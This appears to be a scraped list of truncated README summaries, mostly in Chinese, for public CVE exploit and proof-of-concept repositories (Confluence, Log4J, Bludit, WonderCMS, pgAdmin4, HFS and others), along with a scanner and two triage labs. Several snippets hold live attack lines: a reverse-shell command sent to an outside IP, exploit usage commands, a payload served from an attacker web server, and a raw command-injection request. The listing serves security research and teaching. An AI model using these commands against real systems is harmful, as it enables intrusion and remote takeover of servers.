text4shell-docker

Instalar maven - maven-linux 1. Instalar Maven para crear el fat jar mvn clean install 2. Construir la imagen Docker docker build --tag=text4shell . 3. Ejecutar el contenedor Docker docker run -p 80:8080 text4shell 4. Probar la aplicación http://localhost/text4shell/attack?search= 5. El ataque se...

CVE-2020-11851

CVE-2020-11851 ArcSight Logger 远程代码执行漏洞（通过 ArcSight Management Center） https://nvd.nist.gov/vuln/detail/CVE-2020-11851 执行摘要 漏洞背景 ArcSight Logger 是一个全面的日志管理解决方案，通过统一和存储来自组织各处的机器数据日志，并支持对这些数据进行快速搜索和报告，从而减轻合规负担，并为安全专业人员提供更快速的取证调查能力。 ArcSight Management Center ArcMC 是一个集中式安全管理中心，通过单一界面管理大规模部署的 ArcSig...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence 预认证 RCE | OGNL 注入 下载 PoC 脚本 git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 运行漏洞利用 USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit.py https://target.com 'ls -la'...

rails-rce-cve-2016-0752

利用 CVE-2016-0752 此应用作为利用 CVE-2016-0752 的易受攻击的概念验证。更多信息请参阅这篇博客文章，其中解释了该漏洞、利用所需步骤、修复方法以及一个 Metasploit 模块的链接。 快速开始 echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 漏洞 URL: http://localhost/users/dashboard...

CVE-2023-41425

Wonder CMS RCE | | 描述 : XSS 到 RCE，Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ 将安装新主题的 JS 载荷 cat form+action=" EOF 启动新 Web 服务器以提供载荷 sudo python3 -m http.server $LPORTWEB & | | 将 RCE XSS 发送给管理员后，我们会得到以下 HTTP 调用 .. code-block:: 10.129.252.14 - - 11/Aug/2024 18:42:26 "GET /xssrce.js...

Oracle-WebLogic-CVE-2017-10271

WebLogic Wls-wsat XMLDecoder 漏洞描述 mitre:https://vulners.com/cve/CVE-2017-3506 早期，黑客利用WebLogic WLS 组件漏洞对企业服务器发起大范围远程攻击，有大量企业的服务器被攻陷，且被攻击企业数量呈现明显上升趋势，需要引起高度重视。其中，CVE-2017-3506是一个利用Oracle WebLogic中WLS 组件的远程代码执行漏洞，属于没有公开细节的野外利用漏洞，大量企业尚未及时安装补丁。官方在 2017 年 4 月份就发布了该漏洞的补丁。 CVE-2017-3506补丁说明： public...

Log4J-CVE-2021-44228-RCE

Log4J CVE-2021-44228 命令执行漏洞利用 交互式利用，直接运行：./exploit.sh...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE 认证 用法 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 示例...

PoC-CVE-2017-5638

PoC：Apache Struts2 CVE-2017-5638（安全教学演示） 📌 概述 本项目是 CVE-2017-5638 的概念验证（PoC），这是一个著名的 Apache Struts2 漏洞，允许攻击者在受影响服务器上执行任意代码。 ⚠️ 本仓库包含一个安全的、非攻击性的演示 ，仅供教育目的 。它不执行任何恶意操作。 🔎 关于该漏洞 CVE ID ：CVE-2017-5638 类型 ：远程代码执行（RCE） 组件 ：Apache Struts2（Jakarta Multipart 解析器） 根本原因 ：Content-Type 头部中的用户输入被不当传递给 OGNL...

WebKit-CVE-2016-4622

WebKit CVE-2016-4622 分析：深入剖析 Slice ValueOf 快速路径漏洞 对 WebKit JavaScript Core 漏洞的全面分析与利用，该漏洞可通过 Array.slice 操作实现内存泄露 目录 执行摘要 漏洞概述 研究环境搭建 技术分析 利用过程演示 关键发现 资源与参考 执行摘要 本仓库包含对 CVE-2016-4622 的全面分析，这是 WebKit 的 JavaScript Core 引擎中的一个严重内存泄露漏洞。该漏洞源于 Array.slice 实现中的竞争条件，可利用它泄露相邻内存内容，并作为 addrof 和 fakeobj...

cve-2022-26134

CVE-2022-26134 由 1vere$k 提供 只是针对 Atlassian Jira 漏洞的简单 PoC。允许未授权用户在服务器上执行代码。 CVE-2022-26134 - OGNL 注入漏洞。 一个概念验证脚本，利用了影响 Atlassian Confluence 7.18 及更低版本产品的远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。 Payload...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 和 Identity Manager 通过 SSTI 实现 RCE。 CVE-2022-22954 - PoC SSTI 用法： CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP, --i...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner 用于以非侵入方式在多台主机上检查 CVE-2020-0688 的快速 C 工具。 功能 从输入文件扫描主机。 被动检查：通过抓取 HTML 内容获取 Exchange 版本。 生成输出文件。 演示 如何使用 先决条件 Windows .NET framework 4.5.2 下载 git clone https://github.com/onSec-fr/CVE-2020-0688-Scanner.git 运行 ./CVE-2020-0688-Scanner.exe pathtoinputfile 注意：输入文件可包含 IP 地址、主机名和...

CVE-2021-42013-Apache-RCE-Poc-Exp

漏洞名称 Apache 远程代码执行 （CVE-2021-42013） 漏洞描述 Apache HTTP Server是美国阿帕奇（Apache）基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点，发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则这可能允许远程代码执行。此问题仅影响...

Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-

初步研判：CVE-2021-26855 ProxyLogon - Microsoft Exchange 在这个实验室中，目标是练习以安全团队的方式对已知的真实世界漏洞进行分类研判：阅读 CVE 详情，理解 CVSS 评分，并根据情况推理其实际风险程度。 步骤 1：在 NVD 中打开 CVE 我访问了国家漏洞数据库（NVD）并查询了该 CVE： https://nvd.nist.gov/vuln/search/nvd/home?resultType=records 我搜索了 CVE-2021-26855 并打开了结果页面。 步骤 2：识别资产和暴露面...

CVE-2025-2945

CVE-2025-2945 - pgAdmin4 认证后 RCE 漏洞利用 作者： G0D150NE 版本： 2.0.0 CVE： CVE-2025-2945 严重等级： 严重（CVSS 9.9） 📌 描述 针对影响版本 8.10 到 9.1 的 pgAdmin4 远程代码执行（RCE） 漏洞的漏洞利用。 该漏洞存在于 /sqleditor/querytool/download 端点中，querycommited 参数未经清理便传入 Python 的 eval 函数，从而允许任意代码执行。 ⚡ 功能特性 ✅ 自动版本检测 ✅ 从多个来源获取 CSRF 令牌 ✅ 服务器/组 ID 枚举 ✅...

cobaltstrike_swing_xss2rce

此存储库没有 README。...

Triage-CVE-2017-0144

分类分析：CVE-2017-0144（永恒之蓝 / SMBv1 — 与 WannaCry 传播相关） 对于本实验，目标是分析另一个众所周知的真实世界漏洞，这次是永恒之蓝（EternalBlue），即 SMBv1 缺陷，它曾被 WannaCry 勒索软件爆发大规模利用。 第 1 步：在 NVD 中打开 CVE 我访问了国家漏洞数据库（NVD）并检索了该 CVE： https://nvd.nist.gov/vuln/search/nvd/home?resultType=records 我搜索了 CVE-2017-0144 并打开了结果页面。 第 2 步：识别资产和暴露面...

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution CVE-2024-22515 任意文件上传和 CVE-2024-22514 远程代码执行，针对 AgentDVR 5.1.6.0（已验证） （旧版本可能受影响） https://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution https://github.com/Orange-418/CVE-2024-22515-File-Upload-Vulnerability...

CVE-2024-23692

CVE-2024-23692 Burp 概念验证（POC） GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...